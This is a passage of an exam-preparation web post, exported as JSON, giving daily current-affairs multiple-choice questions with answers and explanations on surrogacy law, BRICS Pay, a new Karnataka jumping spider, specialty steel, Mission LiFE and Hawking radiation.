{"id":2697,"date":"2025-11-06T04:47:30","date_gmt":"2025-11-06T04:47:30","guid":{"rendered":"https:\/\/iasquest.com\/?p=2697"},"modified":"2026-02-11T18:48:56","modified_gmt":"2026-02-11T18:48:56","slug":"daily-current-affairs-05-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-05-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 05.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Under the Surrogacy (Regulation) Act, 2021, which of the following conditions must be fulfilled by an intending couple to undertake altruistic surrogacy in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The couple must be legally married.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. The wife must be between 23\u201350 years of age and the husband between 26\u201355 years.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. The couple must not have any living biological, adopted, or surrogate child, except a child who is physically or mentally challenged.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. The couple must obtain eligibility certificates from the appropriate authority.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong> SC to examine if bar on surrogacy for a second child is state intrusion in citizens&#8217; private lives<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>The <strong>Supreme Court of India<\/strong> has agreed to examine whether the <strong>ban on surrogacy for couples who already have one child<\/strong> amounts to <em>violation of reproductive autonomy<\/em> and <em>privacy under Article 21<\/em>.<\/li>\n\n\n\n<li>The issue arises from the <strong>Surrogacy (Regulation) Act, 2021<\/strong> and its 2023 Rules, which restrict <strong>altruistic surrogacy<\/strong> only to <em>married Indian couples without a living child<\/em>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Altruistic Surrogacy<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li><strong>Altruistic Surrogacy<\/strong> means a <strong>surrogacy arrangement in which the surrogate mother is not paid any monetary compensation<\/strong> except for <strong>medical expenses and insurance coverage<\/strong> during pregnancy.<\/li>\n\n\n\n<li>It is based on <em>compassion or goodwill<\/em> rather than commercial benefit.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Legal Framework in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>1. Surrogacy (Regulation) Act, 2021<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>Came into force on <strong>January 25, 2022.<\/strong><\/li>\n\n\n\n<li><strong>Bans commercial surrogacy<\/strong> (where payment or reward is involved).<\/li>\n\n\n\n<li><strong>Allows only altruistic surrogacy<\/strong> for <strong>Indian married couples<\/strong> who:<ul><li>Have <strong>no living biological, adopted, or surrogate child<\/strong> (except in cases of child with physical\/mental disability).<\/li><\/ul><ul><li>Are <strong>legally married<\/strong> (wife aged 23\u201350, husband aged 26\u201355).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Obtain <strong>eligibility certificates<\/strong> from the appropriate authority. <strong>Hence all the statements are correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>2. The surrogate mother:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>Must be a <strong>close relative<\/strong> of the intending couple.<\/li>\n\n\n\n<li>Should be <strong>a married woman having one child of her own<\/strong>, aged <strong>25\u201335 years<\/strong>.<\/li>\n\n\n\n<li>Can act as a surrogate <strong>only once<\/strong> in her lifetime.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Objective:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>To <strong>prevent exploitation<\/strong> of poor women by banning commercial surrogacy.<\/li>\n\n\n\n<li>To <strong>protect the rights of the surrogate mother and the child<\/strong>.<\/li>\n\n\n\n<li>To ensure <strong>ethical and regulated reproductive practices<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong><br><br><strong>Q. With reference to the \u201cMedical Termination of Pregnancy (Amendment) Act, 2021\u201d, consider the following statements:<\/strong> <br><br>1. A pregnant woman can seek termination of pregnancy up to twenty weeks of gestation without the opinion of any registered medical practitioner. <br>2. The Act allows the termination of pregnancy up to twenty-four weeks for certain categories of women. <br>3. The law provides for the setting up of a Medical Board to decide on pregnancies beyond twenty-four weeks in case of substantial fetal abnormalities. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/sc-to-examine-if-bar-on-surrogacy-for-a-second-child-is-state-intrusion-in-citizens-private-lives\/article70240699.ece#:~:text=The%20Supreme%20Court%20on%20Tuesday,the%20reproductive%20choices%20of%20citizens\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/sc-to-examine-if-bar-on-surrogacy-for-a-second-child-is-state-intrusion-in-citizens-private-lives\/article70240699.ece#:~:text=The%20Supreme%20Court%20on%20Tuesday,the%20reproductive%20choices%20of%20citizens<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>2. The BRICS Pay initiative, often discussed in global economic forums, primarily seeks to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(a) To facilitate cross-border digital payments among BRICS nations using local currencies.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(b) To promote dollar-denominated settlements among BRICS members.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(c) To create a unified BRICS digital currency for trade settlements.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(d) To regulate cryptocurrency transactions within BRICS countries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Answer: (a) To facilitate cross-border digital payments among BRICS nations using local currencies.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>In NEWS: <\/strong>How BRICS is challenging SWIFT<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>BRICS Cross-Border Payments Initiative (BRICS Pay):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-34\">\n<li>The <strong>BRICS Cross-Border Payments Initiative (BCBPI)<\/strong>, commonly called <strong>BRICS Pay<\/strong>, is a proposed mechanism to enable <strong>cross-border payments using local currencies<\/strong> among BRICS member countries \u2014 Brazil, Russia, India, China, and South Africa. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>Aim: To <strong>reduce dependence on the US Dollar and SWIFT network<\/strong> and promote <strong>financial sovereignty<\/strong> among emerging economies.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-36\">\n<li>To facilitate <strong>settlements in national currencies<\/strong> among BRICS nations.<\/li>\n\n\n\n<li>To build <strong>interoperability<\/strong> between the domestic payment systems of member countries (like India\u2019s UPI, Brazil\u2019s PIX, etc.).<\/li>\n\n\n\n<li>To <strong>reduce transaction costs and sanctions risks<\/strong> in international trade.<\/li>\n\n\n\n<li>To strengthen <strong>South-South financial cooperation<\/strong> and move toward a <strong>multipolar financial order<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Features<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>Envisions a <strong>digital payments platform<\/strong> linking national payment systems.<\/li>\n\n\n\n<li><strong>Not a common BRICS currency<\/strong>; rather, it is a <strong>technical framework<\/strong> for clearing and settlement.<\/li>\n\n\n\n<li>Operates through <strong>national currencies<\/strong>, avoiding reliance on the US dollar or euro.<\/li>\n\n\n\n<li>Discussions held under the <strong>BRICS Finance Ministers and Central Bank Governors<\/strong> meetings.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Current Status<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-40\">\n<li>Still in <strong>conceptual or exploratory stage<\/strong>; no formal launch.<\/li>\n\n\n\n<li><strong>Russia<\/strong> and <strong>China<\/strong> have been key proponents.<\/li>\n\n\n\n<li>India supports the idea of <strong>interoperable digital payments<\/strong> but remains cautious about full monetary integration.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Significance for India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>Aligns with India\u2019s <strong>UPI internationalisation goals<\/strong> and <strong>digital public infrastructure diplomacy<\/strong>.<\/li>\n\n\n\n<li>Promotes <strong>de-dollarisation<\/strong> and resilience against <strong>geopolitical financial disruptions<\/strong>.<\/li>\n\n\n\n<li>Enhances India\u2019s <strong>role in shaping alternative global financial systems<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Which of the following is a most likely consequence of implementing the Unified Payments Interface (UPI)?<\/strong> <br><br><strong>(a) Mobile wallets will not be necessary for online payments.<\/strong> <br>(b) Digital currency will totally replace the physical currency in about two decades.<br>(c) FDI inflows will drastically increase. <br>(d) Direct transfer of subsidies to poor people will become very effective.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/how-brics-is-challenging-swift-explained\/article70241519.ece#:~:text=The%20BRICS%20Cross%2DBorder%20Payments,international%20money%20transfers%2C%20and%20which\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/how-brics-is-challenging-swift-explained\/article70241519.ece#:~:text=The%20BRICS%20Cross%2DBorder%20Payments,international%20money%20transfers%2C%20and%20which<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>3. The species Pilia malenadu recently seen in the news is:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(a) A newly discovered orchid from Arunachal Pradesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(b) A new species of jumping spider from Karnataka<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(c) A new amphibian species from Western Ghats<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(d) A cave-dwelling fish from Meghalaya<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Answer: (b) A new species of jumping spider from Karnataka<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>In NEWS: <\/strong>Researchers discover new species of spider in a Chikkamagaluru village, name it after \u2018Malenadu\u2019<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Pilia malenadu:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li><strong><em>Pilia malenadu<\/em><\/strong> is a newly discovered <strong>species of jumping spider<\/strong> belonging to the <strong>family Salticidae<\/strong>. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It was discovered in the <strong>Malenadu region of Karnataka<\/strong>, part of the <strong>central Western Ghats<\/strong>, a <strong>UNESCO biodiversity hotspot<\/strong>.<\/li>\n\n\n\n<li>The species was described in <strong>2025<\/strong> by Indian arachnologists, marking the <strong>rediscovery of the genus <em>Pilia<\/em> after 123 years<\/strong>.<\/li>\n\n\n\n<li>The name <em>\u201cmalenadu\u201d<\/em> refers to the <strong>hilly and rainy region of Karnataka<\/strong>, known for rich biodiversity and evergreen forests.<\/li>\n\n\n\n<li>It represents the <strong>first female specimen<\/strong> ever recorded for the genus <em>Pilia<\/em>.<\/li>\n\n\n\n<li>The spider was found on <strong>Memecylon plants<\/strong>, in <strong>moist evergreen forest habitats<\/strong>, showing micro-habitat specialization.<\/li>\n\n\n\n<li>The discovery underscores the <strong>ecological importance of Western Ghats<\/strong>, highlighting the need for <strong>species documentation and habitat conservation<\/strong>.<\/li>\n\n\n\n<li>The find contributes to India\u2019s <strong>taxonomic diversity records<\/strong> and supports <strong>in-situ conservation efforts<\/strong> under the <strong>Convention on Biological Diversity (CBD)<\/strong> framework.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"590\" height=\"375\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-7.png\" alt=\"\" class=\"wp-image-2698\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-7.png 590w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-7-300x191.png 300w\" sizes=\"auto, (max-width: 590px) 100vw, 590px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Regarding Peacock tarantula (Gooty tarantula), consider the following statements:<\/strong><br><br>I. It is an omnivorous crustacean. <br>II. Its natural habitat in India is only limited to some forest areas. <br>III. In its natural habitat, it is an arboreal species. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) I only <br>(b) I and III <br>(c) II only <br><strong>(d) II and III<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/karnataka\/researchers-discover-new-species-of-spider-in-a-chikkamagaluru-village-name-it-after-malenadu\/article70236081.ece#:~:text=A%20team%20of%20researchers%20exploring,the%20place%20it%20was%20found\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/karnataka\/researchers-discover-new-species-of-spider-in-a-chikkamagaluru-village-name-it-after-malenadu\/article70236081.ece#:~:text=A%20team%20of%20researchers%20exploring,the%20place%20it%20was%20found<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>4. Which of the following properties are commonly associated with Specialty Steels?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">1. High corrosion resistance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">2. Has both magnetic and electrical properties<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">3. High temperature and wear resistance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">4. Lower tensile strength than mild steel<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(b) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(c) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Answer: (a) 1, 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>In NEWS:<\/strong> Launch of the Third Round (PLI 1.2) of the Production Linked Incentive Scheme for Specialty Steel<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Specialty Steel:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li><strong>Specialty (or special) steel<\/strong> refers to <strong>value-added steel<\/strong> produced by alloying iron with elements such as <strong>chromium, nickel, cobalt, molybdenum, tungsten, manganese, and vanadium<\/strong>.<\/li>\n\n\n\n<li>These alloys give steel <strong>special properties<\/strong> \u2014 such as<ul><li><strong>higher <\/strong>tensile strength and durability than mild steel<\/li><\/ul><ul><li>magnetic and electrical properties,<\/li><\/ul><ul><li>corrosion resistance,<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>heat resistance, and wear resistance \u2014 making it suitable for <strong>strategic and high-end applications<\/strong>. &nbsp;<strong>Hence 1, 2, and 3 are correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>India became a <strong>net exporter<\/strong> of specialty steel under the <strong>PLI scheme\u2019s first phase<\/strong>, with firms like Tata Steel, JSW, and AMNS India expanding production capacity.<\/li>\n\n\n\n<li>The government is exploring <strong>\u201cGreen Specialty Steel\u201d<\/strong> initiatives to align with <strong>Net Zero 2070 goals<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Applications<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li><strong>Aerospace &amp; Defence<\/strong> \u2013 for jet engines, missiles, tanks, and naval vessels.<\/li>\n\n\n\n<li><strong>Automobile industry<\/strong> \u2013 for gears, bearings, and structural parts.<\/li>\n\n\n\n<li><strong>Power sector<\/strong> \u2013 for turbines and pipelines.<\/li>\n\n\n\n<li><strong>Railways<\/strong> \u2013 for high-speed train components.<\/li>\n\n\n\n<li><strong>Infrastructure<\/strong> \u2013 bridges, pressure vessels, and special-grade construction.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Challenges<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>High import dependence for alloying elements.<\/li>\n\n\n\n<li>Technological gaps in processing advanced grades.<\/li>\n\n\n\n<li>Competition from cheap Chinese and Korean imports.<\/li>\n\n\n\n<li>Need for skilled manpower and R&amp;D investment.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. Which of the following are some important pollutants released by steel industry in India?<\/strong> <br><br>1. Oxides of sulphur <br>2. Oxides of nitrogen <br>3. Carbon monoxide <br>4. Carbon dioxide <br><br><strong>Select the correct answer using the code given below<\/strong> <br><br>(a) 1, 3 and 4 only <br>(b) 2 and 3 only <br>(c) 1 and 4 only <br><strong>(d) 1, 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186129\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186129<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>5. With reference to \u2018Mission LiFE\u2019, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">1. It seeks to mobilise at least 1 billion people globally to adopt sustainable lifestyles.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">2. It aims to make 80% of Indian villages and urban local bodies environment-friendly by 2028.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>In NEWS: <\/strong>Prime Minister shares an article on how India&#8217;s Mission LiFE is reviving time-honoured conservation practices<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Mission LiFE (Lifestyle for Environment):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>Mission LiFE was announced by the Prime Minister at <strong>COP26 (Glasgow, 2021)<\/strong> and launched on <strong>20 October 2022<\/strong> at the <strong>Statue of Unity, Gujarat<\/strong>.<\/li>\n\n\n\n<li>The mission promotes a shift from <strong>\u201cuse-and-dispose\u201d<\/strong> to <strong>\u201cmindful and deliberate\u201d consumption<\/strong>.<\/li>\n\n\n\n<li>It seeks to mobilise <strong>at least 1 billion people globally<\/strong> to adopt sustainable lifestyles. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>India became the <strong>first country to include LiFE in its Nationally Determined Contribution (NDC)<\/strong> under the Paris Agreement.<\/li>\n\n\n\n<li>Mission LiFE operates in <strong>three phases<\/strong> \u2014 <em>Change in Demand<\/em> (individual behaviour), <em>Change in Supply<\/em> (industry alignment), and <em>Change in Policy<\/em> (institutional framework).<\/li>\n\n\n\n<li>It aims to make <strong>80% of Indian villages and urban local bodies environment-friendly by 2028<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Focus areas include <strong>reducing plastic use, conserving water, saving energy, cutting food waste, and promoting eco-friendly transport<\/strong>.<\/li>\n\n\n\n<li>It aligns with the <strong>UN\u2019s Sustainable Development Goals (SDGs)<\/strong> and India\u2019s climate commitments.<\/li>\n\n\n\n<li>It represents a <strong>people-led, planet-friendly movement<\/strong> focusing on <em>individual responsibility and collective climate action<\/em>.<\/li>\n\n\n\n<li>The mission highlights India\u2019s <strong>leadership in global climate diplomacy and sustainable lifestyle advocacy<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. With reference to \u2018Agenda 21\u2019, sometimes seen in the news, consider the following statements:<\/strong> <br><br>1. It is a global action plan for sustainable development. <br>2. It originated in the World Summit on Sustainable Development held in Johannesburg in 2002. <br><br><strong>Which of the statements given above is \/ are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186170\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186170<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>6. Which one of the following statements best reflects the idea behind the &#8220;Hawking Radiation&#8221; often talked about in the media ?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(a) Radiation emitted by the Sun due to nuclear fusion in its core.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(b) Emission of energy by a black hole due to quantum effects near its event horizon.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(c) X-ray emission produced when matter falls onto a neutron star.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(d) Gamma radiation emitted during supernova explosions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Answer: (b) Emission of energy by a black hole due to quantum effects near its event horizon.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>In NEWS: <\/strong>Gamma-ray bursts from black hole \u2018morsels\u2019 could expose quantum gravity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Hawking Radiation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-94\">\n<li><strong>Proposed by:<\/strong> British physicist <strong>Stephen Hawking<\/strong> in <strong>1974<\/strong>.<\/li>\n\n\n\n<li><strong>Definition:<\/strong> Hawking radiation is the <strong>theoretical emission of particles and energy from black holes<\/strong> due to quantum effects near the event horizon.<\/li>\n\n\n\n<li><strong>Concept Basis:<\/strong> It arises from <strong>quantum fluctuations<\/strong> \u2014 temporary particle\u2013antiparticle pairs that form near the black hole\u2019s event horizon. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Normally, such pairs annihilate each other, but near a black hole, <strong>one particle falls in<\/strong> while the <strong>other escapes<\/strong>, appearing as radiation.<\/li>\n\n\n\n<li>This causes the black hole to <strong>lose mass and energy gradually<\/strong> \u2014 a process known as <strong>black hole evaporation<\/strong>.<\/li>\n\n\n\n<li>The radiation is <strong>thermal<\/strong> in nature and depends on the <strong>mass of the black 